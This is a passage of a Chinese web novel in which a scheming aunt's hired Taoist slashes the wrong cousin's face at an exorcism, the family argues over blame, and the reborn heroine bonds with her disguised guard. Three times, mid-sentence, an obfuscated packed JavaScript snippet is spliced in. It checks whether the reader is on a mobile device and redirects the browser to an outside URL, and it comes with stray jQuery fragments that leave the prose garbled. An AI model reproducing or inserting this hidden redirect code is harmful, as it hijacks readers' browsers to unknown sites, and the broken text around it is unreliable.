温府前院,大门紧闭,院中摆放着一张桌案,金黄的绸布上贴满朱砂绘制的符箓,一旁放着烈酒与开了锋的宝剑,桌案正中央放着一个香炉,两旁各有一盏糯米,案下还放着一个竹篓,不知装着什么。
梁道人与其他人隔着一段距离,中间放着一个燃着烈火的火盆。
因为是法事,不便被外界打扰,但府中人却得尽可能都聚过来,说是一便祛除晦气。
大房二房的人几乎都到齐了,梁道人不动声色地看了一番,并未看到那日所见的“温大娘子”,倒是见到了温仲夫人柳氏。
另外的女眷只有两人,梳着妇人发髻的必定是温家主母,那另一个应当是温二娘子了。
只是这温二娘子怎么与柳氏离得近呢……
梁道人正思慕着,就见廊中有一女娘走来,那女娘浅笑着道:“我来晚了,时辰可还赶得上吧?”
梁道人眼神一亮,那日的女娘戴着面纱,他没能看清容貌,面前这女娘虽然未戴面纱,但装扮却与那日并无二致。
他还记得,那日的温二娘子便戴着那支丁香珠花,时不时扶一下。
还有身后那两个随从,虽然男的戴了面具,可气质不会错,正是那日来人!
这下他便能分清温家两位女公子了!
梁道人暗暗松了一口气。柳氏说过,蛇游向的人便是他的目标,再加上他的蛇,便是双重保险。
银两马上就到手了,一辈子花不完的银两!
梁道人眼中贪婪几乎遮掩不住。
温母见女儿来了,笑着拉过:“不迟,还未开始呢。”
“嗯,”温云琛笑着,不动声色地看了一眼梁道人,对视的刹那,轻点了一下头,表示问好,“阿母有阿兄陪着,别害怕,二叔母与堂姊胆子小,我去那边陪着她们。”
温母没多想,答应下来。
温云琛踱步到柳氏身边,亲昵地挽住她的胳膊:“这段时日您辛苦了,筹备法事定然忙碌吧?”
柳氏脸色僵了一下,却挣不脱温云琛的手,只好假笑:“哪呢,只是吩咐下人办好事罢。”
这下不会错了。
虽听不清她们说话,但眼见“温大娘子”终于与柳氏亲近过去,梁道人松了一口气,大声道:“时辰已到——”
他点燃三根香,齐齐插入香炉,随后拿起剑来,口中念叨一阵,放在火盆上炙烤,猛然将酒坛砸碎在剑上。
霎时,火光冲天。一股难闻的气味也散发出来。
梁道人脚下踩着鬼魅步伐,温云琛眼中看着,嘴边噙笑,小声问:“二叔母可信因果报应?”
柳氏没去看她,答:“莫要在道人面前胡说!二娘子专心些。”
“看来是信的,既然信,那二叔母可知道——”温云琛凑近柳氏耳边,低语,“报应,是来得很快的。”
柳氏惊愕地看向旁边人,仿佛那一瞬间,身边这个不过十六、脸上带笑的女娘才是地府爬上来要将人剥皮抽筋的恶鬼。
不等她多想,下一刻,梁道人口中喃喃着什么,一把推倒了案下的竹篓。
三条通身黑红的蛇便吐着信子,似乎感受到什么气息般,躁动着朝一个方向飞快游去!
“蛇!有蛇!”
有不少婢女被吓到,惊叫着躲去一旁。
温母也被吓到了,被温舟璟护在身前,她惊恐地看着蛇,却见它们似乎对她和温舟璟没兴趣,直直朝着二房在的那边过去。
温母吓得直拍温舟璟的肩膀:“阿琛,阿琛还在那边!”
温云琛却紧紧拉着柳氏的胳膊,见蛇已经过来,惊叫着把她往一边拉去:“怎么会有蛇?”
原本紧挨着的三人散开,温夕玉落了单。
柳氏自然知道蛇会朝温云琛游来,吓得疯了一般要甩开,只是不知道这小女娘今日吃错了什么药,死死不松手。
说来也怪,柳氏就眼见着那三条蛇
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583745|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在她们三人散开时停了一下,随后毫无征兆地直直朝温夕玉冲过去!
惊变发生得突然,但梁道人反应比她快。
此刻的他无比确信自己认的人一定是对的,抄着宝剑便朝温夕玉脸上划去:“贵府有人皮鬼附身在了女公子身上,小道这便替贵人们祛除恶鬼!”
温夕玉也懵了,在这惊变发生之际,她想逃跑,却又不忍计划落空,下意识大喊了一句:“不是我!不是我!!”
梁道人根本没管,持着剑直直往前——
“啊啊啊啊啊啊——”
伴随着一众惊呼和金属划破皮肤的声音,伴随着飞溅出的几滴血光和温夕玉惊恐疼痛的尖叫,温云琛心中的快意冲破牢笼,得以解放。
她松开了手,任由柳氏大叫着冲过去:“阿玉!!!”
梁道人正松了一口气,随后愣住了。
怎么……这个是温大娘子温夕玉?那另外那个……
他转眼,不可置信地看向一旁状似惊恐的温云琛,觉得自己玩完了。
他竟然刺错了人。
那他的银两……
一瞬间的大喜大悲让梁道人意识到自己拿不到银两了,但若是让温二娘子也伤了脸,他会不会还有些银两拿?
抱着亡羊补牢的心思,梁道人心下一狠,提剑立刻朝温云琛刺过去。
温云琛没料到他还会孤注一掷,往后退了两步,捏紧了袖中短刀。
沉墨也准备好,就要上前。
“阿琛!”
“妹妹——”
电光火石之际,众人只见那名始终站在温云琛身后、戴着黑铁面具的侍卫,飞快冲上前,以绝对的力量压制擒住梁道人的手臂,手上一用劲,便折断了他的手。
“啊啊啊——”
手中长剑“哐当”落地,梁道人被裴允晏猛地一踢膝窝,登时又断了一条腿,跪在原地,疼得龇牙咧嘴。
另一边更是慌乱,温夕玉倒在地上,惊恐地捂着脸,死活不让柳氏碰。
柳氏又惊又慌:“让阿母看看伤口……阿玉你让阿母看看——郎中呢?快喊郎中来!!”
一时间,府上人乱作一团,抬人的抬人,喊郎中的喊郎中。温云琛小跑到温母身边,也是惊慌的样子:“阿母没事吧?”
“没事,阿母没事……”说着,她看了一眼那名出手的侍卫。
幸好有他在,不然她女儿如今怕也与温夕玉一样了。
温母后怕地紧紧握着女儿的手,念叨:“幸好你没事,幸好我的阿琛没事。”
温舟璟不动声色地看了一眼裴允晏,几乎是立刻就肯定他家府上原本没这么一号人。
起码他妹妹身边原没有这么一个侍卫。
身手如此不凡,是何来路?
梁道人见众人乱作一团,挣扎着要跑,裴允晏却还在他身边盯着。
温云琛看向裴允晏,朝他轻轻摇了摇头。
裴允晏抿唇,不太懂温云琛为何要放他走,但片刻后还是走到了温云琛身后,任由梁道人趁乱逃跑。
一众人急匆匆地把温夕玉抬回了二房院中,温云琛他们自然也要一起去的。
路上,温云琛默不作声地往后退了几步,与裴允晏并排站着,小声道了句:“多谢。”很快又回到温母身边。
少女来去匆匆,就连话都轻得好像要融进风中。
却留下了清淡的香气,萦绕鼻尖,顷刻即散。
裴允晏回味着那味道,勾了下唇角。
道谢的话,诚意不够呢,淑女。
8. 争执
二房院中,一片忙乱。
温夕玉先安置在了柳氏房中,温母母子三人也挤在房中,等着看郎中怎么说。
接连好几位郎中来看了温夕玉的伤势,都是面色沉重地摇摇头,说就算痊愈了也会留疤,说自己医术浅薄,还请另请高明。
实则是温夕玉伤口棘手,夏日就要来了,伤口极易发炎生脓。
虽说温氏是没落世家,但好歹这一代有家主温绍在朝中任职,谁都不想惹一身腥。
看着哭哭啼啼的女儿,柳氏快急疯了,开始重金求医。终于有一名郎中愿意试上一试。
郎中仔细看了看伤口,面色凝重:“敢问温仲夫人,伤了女公子的是何物?”
“一把长剑!”柳氏比划着给郎中看,“烧红了又浇上了烈酒。我女儿的伤究竟是何情况啊?”
郎中脸色更加不好看,朝柳氏一作揖:“回夫人,女公子这伤乃是划伤混着烧伤,伤口极深,就快见骨。恕小人直言,那长剑怕也不干净,许是提前沾染过金汁,遂女公子的伤口有很大感染的风险。”
“金汁?”柳氏懵了,“那是什么东西?”
温云琛好心开口:“二叔母,金汁便是粪水。”
一时间,二房的两位心中更加绝望,温母心善,眉间俱是担忧,温舟璟则是一贯地面无表情,温云琛还装模作样地表现出心疼模样。
“夏日将至,女公子的伤更得悉心照料。但即便是用上好的疮药,也许……疤痕也祛除不掉了,”郎中苦口婆心道,“眼下,能保证伤口不感染反复便已是难上加难,否则会危及女公子性命。”
柳氏两眼一翻腿一软,险些晕过去。
她倒是和那梁道人交代过,最好让温云琛的伤好不了,让那张脸蛋上永远留疤,至于手段她让梁道人自己决定,没想到用了金汁。
本来若是顺利用在温云琛身上也就罢了,但如今他认错了人,伤到的是自己的女儿啊!
阿玉还没说亲,正是花儿一般的年纪,脸上留疤可怎么是好?这辈子就完了!
想来想去,这事还是不对。
那蛇怎么就朝她的阿玉去了?难道温云琛没有喝药吗?
想到温云琛说的那些话,想到法事的不对劲,柳氏仿佛抓住了什么。
她早就知道了?还是说她动了什么别的手脚?
眼中金星直冒,好不容易不再眩晕一片黑暗,柳氏被婢女搀扶着站起来,咬牙切齿地抬手指向温云琛,气得颤抖:“是你……一定是你!定是你动了手脚,让那道人伤了阿玉!!是你害她!!!”
“二叔母可不能乱说!”温云琛抬手捂住嘴,一番委屈至极的模样,“今日之事谁也未曾料到,我与堂姊关系向来亲密,怎就是我害了堂姊?我区区一介柔弱女娘,怎晓得这般恶毒法子?况且我与梁道人素不相识,如何指使?”
温舟璟挡在温云琛身前,蹙眉看着疯魔般的柳氏:“二叔母怕是急傻了冲昏了头。这法事是您提出来的,若说我们府中有谁与那道人熟识、有本事指使他做什么事,怕只有您吧?”
有温云琛前几日找他拿药的举动,再加上今日之事,温舟璟隐约觉得他这个妹妹似乎早就知道些什么,早知道二房会对她不利。
就连素来温和的温母都皱了眉,不高兴道:“娣妇伤心又心急,我们都理解,也都在想办法,但你这般胡乱攀咬如何使得?我看得清楚,若不是阿琛把你拉到一边,怕是你也要受伤。”
“阿母一说这个,我也想起来了,”温舟璟说,“那道人刺了阿玉后还愣了片刻,转过头去又要刺阿琛,动作狠绝。试问有谁会反咬自己金主一口?”
沉墨在后头幽幽说了句:“怕不是那梁道人意识到自己刺错了人,刺向我们女公子是为了补救吧?”
她这么一说,温母他们才反应过来,当时梁道人的反应似乎正有此意。
他原本要刺的竟是温云琛吗?!
温母心头大惊,强硬着要为女儿讨个说法:“娣妇,怎么你请来的人倒是要伤害阿琛?此事你是否也该给我一个说法??”
主家出了这么大的事,有不少奴仆都小心藏在屋外看热闹,此时也都哗然——
梁道人是仲夫人请来的,好好的法事上突然伤人,事后又逃跑,可见他心中有鬼,但伤了一个还发现自己伤错了,要去补救,再刺二娘子一剑。
若说受人指使……岂不是仲夫人柳氏最有可能做这事?!
“你……你们……”
柳氏气得说不出话,便将矛头转了方向,恶狠狠看向裴允晏:“你!既然已经擒住了那道人,为何后来又将他放走?如今他逃了我才无法与他对峙,否则又怎会遭人质问?”
她越说越来劲,甚至觉得自己颇为占理:“你这个成事不足的侍卫,都是因为你,主家才有此争吵。来人!给我打——打出府去!!”
裴允晏眼神一暗,面上冷淡。
啧,真是有些手痒。这等泼妇,他真想送到廷尉府审问一番。
神思间,温云琛已然挡在了他前面:“二叔母这是作甚?当时府上混乱,诸多侍卫都不曾拦住梁道人,怎就怪在他一人身上?况且他救我性命,我应奉为座上宾,哪还有打人的道理?”
柳氏气极,企图使一使长辈威风:“我是你二叔母!温家仲夫人,还责罚不了一个小小侍卫??”
“不能,”温云琛冷然看着她,一只手臂横在裴允晏身前,“阿熠是我院中之人,你不能碰。”
那一瞬间,寥寥几句话钻入心间。裴允晏觉得身前这个身形单薄的小女娘远没有看上去那般柔弱,相反,她无比坚强、坚定,如烈火淬炼出的宝石。
许是自己已经很强大,很久没有这种被人保护的感觉了,心间痒痒的,像被鸟儿轻啄了一下,又被羽翼包裹起来,坚不可摧。
“造反了,造反了!”柳氏耍泼打滚,一屁股坐在地上,哭嚷着,“郎君啊,你就是去的太早了,你看看我们孤儿寡母,如今寄人篱下处处遭人白眼啊!一个小辈都能为了个侍卫忤逆我,我真是……”
“娣妇!”温母忍不了了,一甩袖,蹙眉上前,“温氏清白世家,向来兄友弟恭,这些年来我们难道不是处处照顾你与阿玉,何曾让你们受过一点委屈?阿玉受伤,我们也心急,但你断不能以忤逆这般大罪扣在我女头上!”
“你……”
“你固然是温家仲夫人,但我是温家主母,”温母挺直了腰背,“此侍卫,我不说罚,你二房便不能动。”
柳氏本就理亏,如今更是腿一软倒在了屏风边,险些厥过去。
温母施施然走到郎中面前,礼貌道:“您见笑了,您该怎么治就怎么治,用最好的药,尽量让我这侄女好起来。”
郎中早出了一身汗,猫着腰连连称是。
大房人一走,屋子便空荡起来,温夕玉已经哭不动了,呆呆地坐在床上。
柳氏心疼极了,凑过去啜泣:“儿啊……都怪阿母没本事,让你受着罪,今后可……”
“错了阿母,不怪你,”温夕玉说着,眼底冒出凶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583746|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光,“要怪,就怪温云琛。”
毁她面容,害她计划落空。
此仇必报!
——
温云琛本打算回到自己院中去,却在离开时被温母拉住了。
“阿琛,”她后怕地看着女儿,又看了一眼那个戴着面具的侍卫,似难言般,许久才说,“你们过来。”
温云琛不解,但还是乖乖跟在后面,连同裴允晏和温舟璟一起。
堂中,温母看向裴允晏,说:“听阿琛说,你叫阿熠?今日你救我女儿一命,我合该谢你。”
说着,她顿了一下,接着疑惑道:“但我府中从前不曾有你这样的侍卫,你是何时来的?”
“阿母……”
温云琛正要开口,被温舟璟拉住:“妹妹,问清楚些是为你好。”
温云琛:“……”
裴允晏这个人,应该会扯谎吧?
她心中正打鼓,就见裴允晏恭恭敬敬地一行礼:“见过温伯夫人,小人是二娘子去临安祠路上碰见的。小人家乡闹灾,家人失散,自己逃亡路上又受了伤。二娘子心善,看我会些功夫,就将我收作侍卫,给口饭吃。”
那还是来历不明。
温母不放心,纠结道:“你若为生计,我可给你一笔银两谋生,只是……莫留在府中了。”
裴允晏抿唇,只是低头僵着,不说话。
“阿母,别赶他走,”温云琛凑到温母身边,撒起娇来,“二叔母那般强势,若将阿熠赶出去,二叔母心中愤恨又遣人追着他打怎么办?”
温母看她,有些意外:“你二叔母何时如此厉害了?”
“阿母不觉得,今日这事蹊跷?您方才不也觉得,二叔母本来要害我吗?”温云琛说着,眼中已经闪着泪花,“阿琛势弱,今日这手段已是猝不及防,万一明日还有这般动作,定要有阿熠这般人在身边才能周全。”
……他妹妹什么时候如此柔弱了?
温舟璟被这精湛的演技惊到了。
原来她哭起来的样子是这样的,坚强者竟有如此楚楚动人之时。
裴允晏看得入迷了,心绪飘远。
温母向来是个容易被说动的性子,纠结了片刻,还是答应下来:“好吧,只是你自己也要小心,他总归是个男子,莫要离得太近。”
“女儿知道,”温云琛笑起来,擦了擦泪,“那我便先回去了。”
“阿母,我也走了。”温舟璟一便告辞。
——
出门后,兄妹二人只是并肩走着,许久没有言语。
啧。
裴允晏有点不耐烦了,他觉得温舟璟有点碍事。
终于,还是温舟璟先开口:“妹妹,你早就知道些什么,对吗?”
温云琛看着他眨眨眼。
她阿兄还是一如既往地敏锐。
“甚至你去临安祠,也是早知道了二叔母要做什么,你是不是去提前部署了?”温舟璟一连串问着,“你有没有与梁道人串通过?”
温云琛知道,他这并不是质问,她这个阿兄对于二房印象不见得有多好。
他只是怕她走上害人的路。
“没有,阿兄,”温云琛摇摇头,说,“我确实早对二叔母疑心,所以事事留一手,但不曾与人串通。至于堂姊的伤,也许是害人终害己呢?”
温舟璟看着她,没有说话。
他觉得妹妹对他有所隐瞒,但似乎不是恶意。
于是他看向一旁裴允晏:“那这个人,真的叫阿熠吗?”
9. 池鱼
应付完阿兄,走在回廊上绕回院子,温云琛只觉得头大。
有时候人太聪明不是件好事,尤其是阿兄这样又聪明又会直接开口问的。
回想起方才情形,还是有些后怕——
“他不叫阿熠吧,”温舟璟说得十分坚定,“身手不差,气度不凡,手上还有练武留下的茧,应是从小便在优渥家中长大的武将。”
这时候,温云琛额边汗就要下来了。
阿兄,猜得真准。
“既是家境优渥,必然看不上我们温家这点钱财,”温舟璟的问辞愈发犀利,“阁下是看中了我家什么?”
说着,他眼神朝温云琛那边转了一下:“我妹么?”
“咳……咳咳咳咳咳……”
温云琛被自己口水呛住,一阵撕心裂肺的咳。
很奇怪,还有点被戳穿之后的心虚。
裴允晏正要开口:“我……”
“若是如此,阁下大可三书六礼找人说媒。”
温舟璟更来劲了,似乎默认一般:“以侍卫之名住在阿琛院子中属实不妥,若有心人传出去,那便是私相授受,损清誉的——公子不在乎清誉么?”
说对了,裴允晏还真觉得清誉这玩意儿对他而言不算什么。
堂堂武将,整日想这些表面东西作甚?
但是对于温云琛,他不想让温云琛的声名因为他受到一点点损伤。
听着这话,裴允晏就踌躇起来。
眼见有效,温舟璟又开始絮絮叨叨说什么礼数礼法,大有让裴允晏自惭形秽自己溜回家去的架势。
“男欢女爱本是正常,我亦知晓阿琛容貌卓绝神清骨秀,你若是真心喜欢……”
温云琛听不下去了,伸手拦住温舟璟,语出如惊雷:“停,等一下阿兄,我替阿熠辩解一句——不是他心仪我,而是他是我的心上人。”
裴允晏:“……”
他是不是睡得太熟了。
听到梦话了。
温舟璟:“……”
温舟璟:“?!!”
“你什么??”温舟璟绷不住了,声音劈了叉,“所以他是、他是……?”
“是我缠着阿熠让他住在家中培养感情,”温云琛说得面不改色,但耳后泛起的薄红几乎就要出卖了她,“阿兄莫再说他了,实在不行说我吧。只是不要告诉旁人,谁都不行。”
她当然知道温舟璟是不会说教她的,这么说也只是为了让他赶快闭嘴而已。
再这么多说一会儿,怕是全府都要知道了。
即便如此,即便只是随口说的假话,但温云琛还是不由得心跳加速,像是她撒了什么弥天大谎似的。
肯定是因为太久没有撒谎了。
一定是。
最后,以裴允晏保证不会乱来以及温舟璟不知理亏还是羞赧的磕磕巴巴为终,温云琛终于被放走了。
但之后的回廊上一片寂静,只有她与裴允晏前后行走的脚步声。
气氛说不清是尴尬还是僵持,总之温度有些高。
温云琛头大,好不容易回到院中,心中底气才充足了气,转过头。
“我……”
“我……”
两道声音交织在一起,温云琛感觉尴尬的氛围更加浓重了一些。
裴允晏的嗓音很好听,不是寻常武将的粗声大气,更多的是明媚张扬,还夹杂着些长年累月的威压。
只是与她说话时,他似乎总会把声音放轻些,怕吓到她似的。
裴允晏不好意思地挠挠头:“你先说吧。”
他这一路倒是脑子里弯弯绕地想了许多,他往常大概除了带兵打仗从没想过这么周全的计划话术。
但在温云琛面前,他总想着小心些,再小心些,把她当作怀中的冰,生怕一点点的差错就会让她化掉。
温云琛没和他客气,微微一点头,道:“我方才说的话,你别放在心上,不是有意冒犯,只是家兄性格执拗,不这么说他是不会罢休的。”
忽地,裴允晏像是从头到脚被浇了一盆冰水,明明前一刻还在六月天的鸟语花香,现在却被投掷于腊月的寒冰湖水中,封在冰面里。
“我……我没放在心上,”话刚说出口,裴允晏又觉得不对,连忙改道,“不不不,我的意思是,我不觉得冒犯,真的没有!”
“嗯……”温云琛只当没听懂他话中之意,转了话头,“你方才要与我说什么?”
其实裴允晏刚才准备问她话中真假,如今不攻自破,也不用再问,于是只尴尬地摆摆手:“没什么。”
“今日得多谢你,把那招摇撞骗的梁道人一顿好打,解了我心头之恨。”
“这有什么,我应该做的!”
裴允晏思绪被牵着走,先前被冻得冰冷的心暂时藏了起来,取而代之的是炽烈的一颗:“只是我不懂,你为何要放他走?”
“他如今断手断脚,再加上温府通缉,往后一段时日必定生活得辛苦。”
温云琛坐在小水池边,端起旁边一盅鱼食,投喂起池中几尾颜色鲜艳的鱼儿来:“他往常过的是什么生活?”
裴允晏想了想:“不太了解,不过看他那日在临安祠的屋舍,应当过得不错。”
温云琛笑了:“既他原本过得很好,却因为今日祸事沦为阶下囚,过街老鼠般只能藏在水沟中,你说他受得了吗?他会恨吗?”
池中鱼儿争先恐后地争抢着撒下的食物,没过多久,个个吃饱餍足。
若此刻有人把它们当中的哪一尾扔到几乎活不下去的水沟中,怕是恨也恨死了,挤破头都想回到这个池中来。
裴允晏立刻懂了,轻笑一下:“明白了。他必定恨极,为了让自己生活好一些,宁争着抢着也要说出幕后主使来,好求你们保他性命。”
若当时便将梁道人扣下,当时的他心中必定又恐惧又愧疚,难保不会还肖想着柳氏会将银两给他,从而污蔑温云琛是主使。
得将鱼线放长一些,等时候到了再把他钓回来,才能说真话。
更加有趣了。
裴允晏突然觉得,温云琛身上似乎有更特别的东西吸引着他。
“会演戏,有谋略,足够镇定,不急于一时,”裴允晏细数着他近日看到的温云琛身上的光彩,啧道,“淑女当真女中豪杰,不似闺中小女娘,倒像经历了许多挫折后养成了沉静的性子。”
说实话,温云琛有些惊讶。
她还以为裴允晏会说她城府深,精于诡计算计。
倒没想到是夸奖。
且看得深入。
“阿熠多想了,我不过十六的年纪,只能说身在将门,不愿与寻常女娘般只懂得打扮好看、陶冶情操、等着家中安排婚嫁,”温云琛摇摇头,“那不是我所想。”
“你不想也和她们一样,得一人白首不分离吗?”
“这是缘分,强求不得,我想顺其自然。”
“那你想要什么?”
想要什么……
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15583747|171629||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
温云琛抬头,看到头顶懒懒的白云,正缓慢地挪动,再往旁边,便是自己院中高墙的墙沿。
“我想要合家平安,”温云琛说得斩钉截铁,“我想让家中所有人都有好结局,让恶人付出代价。”
这是为他们求的,那你自己呢?
裴允晏想问,但没有说出口。
也许是方才气氛旖旎,不可言说的心思便在错觉中忽然加重,几乎要推着裴允晏上前去。
他看着温云琛的背影,看着她披下的青丝,鼻尖似乎又掠过了那股清香好闻的味道,不自觉伸出手去……
“对了,你是不是早知道我要做什么?动了二房每日送来的药?”
少女的嗓音极快地呼唤着理智回笼,裴允晏飞快收了手:“噢……是我。”
浮白每日都会把药洒在府后的一片土地上,祁乌便会很自觉地掘了那一小片土,换到温夕玉院中的盆栽里去。
随着这几日的风向,那药的味道便丝丝缕缕吹进温夕玉的房中。
三日,够腌入味儿了。
“其实不必,不过还是谢谢你。”
温云琛分得清楚,虽然自己的计划近乎万无一失,但裴允晏不管怎么说也是好心帮她办事,于情于理她都不该苛责。
不过她总是觉得哪里怪怪的,说不上来。
总觉得与正常人相比,裴允晏的做派让人觉得不舒服。
“今日辛苦了,先回去吧,我一会儿给你送药。”
告别裴允晏,温云琛回到房中,撑着头,眼神有些木然地看向窗外。
眼下虽说解了一个危机,但往后还有许多温夕玉布下的局。
没错,她十分笃定,不管是毁容的计策,还是从前让她父兄惨死的计策,都是出自温夕玉之手。
柳氏虽然坏,但人笨,只有她掀不起什么风浪,温夕玉才是她身后出谋划策之人。
面上装作和善大方,却心似蛇蝎。
有时候温云琛都想知道,她哪来那么多鬼蜮伎俩?
除过温氏遭她毒手,在温云琛的印象中,前世的裴太尉似乎也含冤下狱,几乎全府丧命。
这事当时闹得很大,浮白又爱给温云琛说外面发生的事,她便记得格外清晰。据说是裴太尉提前将一双儿女划出族谱,这才保住他们性命。
裴太尉忠君爱国,许是碍了陈王的路,才招致杀身之祸。
陈王是当今圣上的弟弟,排行第三,狼子野心几乎人尽皆知。不过为了顺利篡位,他筹谋多年,如今距离他动手还有三年。
杨夷也是他的人。
那样的人登基,绝对是会民不聊生的。
温云琛是重活一世的人,如果可以,她想改变得多一些。
保住温氏,保住裴氏,也几乎宣告了要与陈王为敌。
若说不愁肯定是假的。凭她一人之力简直难如登天摘月,她得找个帮手——一个可靠的同盟。
裴氏,也许是个好的方向。
她记得裴允晏因为杀伐果决惹了不少人,往往心狠手辣,惹得同僚不快,民众恐惧。
这些时日相处下来,她觉得裴允晏本性不坏。
本是个好人,倒把自己塑成恶鬼了。
温云琛拨弄香炉的手突然顿住,她意识到为何裴允晏的做派会让她不舒服了。
太狠绝,易树敌。
想通这一点,温云琛瞬间觉得七窍都通了,端了药碗便朝西小阁去。
“阿熠,我有事与你商量!”
10. 上药
回到屋中,那颗被冰冻的心才后知后觉地翻出来。
裴允晏觉得惆怅。
十分之惆怅。
帮温云琛是他自愿的,本不求回报。她那声轻飘飘的道谢伴随着少女的清香却始终萦绕在面前似的,他不自觉就想要更多。
原本在温舟璟面前,听见她说自己的她的心上人,裴允晏不知道有多高兴。
一瞬间的愣怔,换来的是长久的喜悦。
只是如今这喜悦被冲散了。
果然还是得多讨要些什么,才能安抚他这颗受伤的真心。
裴允晏冰着脸,心中不自觉开始期待温云琛过来。
忽地,敲击木头的声音传入耳朵,裴允晏猛地直起身打起精神,下一刻笑容就要挂在脸上了。
但他突然意识到那声音是窗户那边传来的。
于是表情瞬间就比一开始还要冷。
窗户打开时,祁乌就看见他家少将军那张黑沉得仿佛要滴出墨来的脸。
祁乌吓了一跳。
他应该没惹事吧?没有吧?
怎么少将军一副要杀人的表情呢……
喉结来回滚动一番,祁乌壮着胆子嘿嘿一笑:“那个……少将军,属下这事是不是办好了?能讨些赏吗?”
裴允晏笑了,估计是气笑的,那根本是皮笑肉不笑:“赏你抱着自己的头去领军棍好么?”
汗立刻就下来了,祁乌默默退后几步,猛地一作揖:“属下不要赏了,这就回树上去。”
眨眼间便没了人影。
还敢要吗?敢不了一点,小命重要。
少将军为什么心情不好?
正在这时,耳边再次传来敲击声。
错不了!这次是敲门!
祁乌眼睁睁看着少将军脸上阴郁一扫而空,扑向门口。
“阿熠,我有事与你商量!”
甫一开门,少女的笑脸便映在裴允晏眼底。
他想都没想,开口便是:“好!”
“嗯?”温云琛歪了歪脑袋,“你都不先听听是何事吗?”
“不用,你说的我都答应,”裴允晏笑着,将人请进屋中,随后自己把药从食盒中取出来,一饮而尽,苦着一张脸,委屈巴巴道,“太苦了。”
温云琛笑着,变戏法似的从袖中拿出一个锦袋,从中捏出一枚饴糖,递过去:“吃颗糖缓缓。”
裴允晏双手撑着下巴,不依不饶:“我手伤着呢,淑女喂我可好?”
若是树上的祁乌听见这话,八成下巴都惊掉了。
他们少将军征伐多年,十三随军,十五便能领将,哪里是会怕药苦的?
温云琛也怔了一下,纠结道:“怕是不妥吧……”
“妥的,”裴允晏斩钉截铁地说着,仿佛这是什么非常理所应当的事,“这房中只有你我,哪里会有第三人知晓。”
话是这么说没错……
看着裴允晏那张近在咫尺的笑脸,温云琛坚定的心思颤动了一下,似乎又觉得这话也没什么毛病。
她不说,裴允晏也不说,谁知道呢?
隐秘的心思推动着她,还没回过神,她便听见自己轻声说:“张嘴。”
“啊——”
裴允晏十分配合。
温云琛捏着方正的饴糖,小心喂到裴允晏嘴边。
不知是不是故意,在她的手指即将撤开时,裴允晏合上了嘴,少女微凉的指尖便在他唇上轻轻擦过。
温云琛一下子红了耳尖,触电般收回手。
理智被驱赶回来之后她才意识到,这不是爱侣间才会有的亲密?
裴允晏意犹未尽地舔了舔唇,饴糖很快在口腔中化开,但他总觉得温云琛指尖的味道比那饴糖更甜。
“咳……糖也吃了,是不是该听听我要与你商量的事了?”温云琛故作镇定地傲慢道。
“那是当然,”裴允晏笑得人畜无害,“淑女请说。”
“我想让你,往后做事别那么狠。”
温云琛认真道:“我知你杀伐果决,那在战场上很好,但在京城中若还这样,便会无故多出许多敌人来。有些时候不用杀戮就能解决的事,还是不要杀为好。”
裴允晏脑子转了几番,得出一个结论:“你是不是嫌我手上血腥太重?”
“不,我只是觉得那样损你声名,对你不好,”温云琛眨眨眼睛,想到前世裴允晏树敌颇多生存不易,鬼使神差地嘟囔了一句,“有些心疼。”
半晌无言。
裴允晏觉得自己没救了,得了怪病。
不然怎么心跳得这般快?
不巧,温云琛也这么想。
得请个郎中来看看自己身上是不是还有什么别的病,别是温夕玉给她下了什么别的毒药。
“好,我答应你,”裴允晏似小孩般,枕着手臂趴在桌子上,眼神亮晶晶地看着温云琛,“但我要跟淑女讨一份谢礼。”
温云琛:“方才喂的饴糖不算吗?”
“那怎么能算?就算要算……”裴允晏委屈道,“也得每日都喂才算吧?”
温云琛觉得不是什么事,便答应下来:“好。”
“嘿嘿,不过我要讨的是另一件事的谢礼,”裴允晏坐起身,倏地靠近温云琛,“我帮淑女让恶人吃了瘪,淑女可不能说一句谢谢便算了。”
他离得太近,温云琛几乎数得清他扑闪的眼睫,连一呼一吸都缠绕在鼻尖。
半晌,温云琛难为情地偏开头:“你……要什么谢礼。”
不会是什么很过分的吧?
裴允晏离她这么近,很难让她不浮想联翩。
沉吟片刻,裴允晏开口道:“我突然想起来,今日手臂没有上药,淑女帮我吧。”
温云琛有些惊讶,看向他:“只是上药?”
裴允晏笑了:“淑女还想做些别的?”
“不……不了。”
温云琛连忙站起来去找药膏,背对着裴允晏时,手背摸了下自己的脸,才觉得温度太高。
别是被裴允晏看见了吧……
等温度降了一些,温云琛才拿着装着药膏的白瓷罐转身,坐了回去。
虽说伤的是手臂,但伤处却很靠近肩膀,只挽起衣袖是不行了,必得是衣衫半解开。
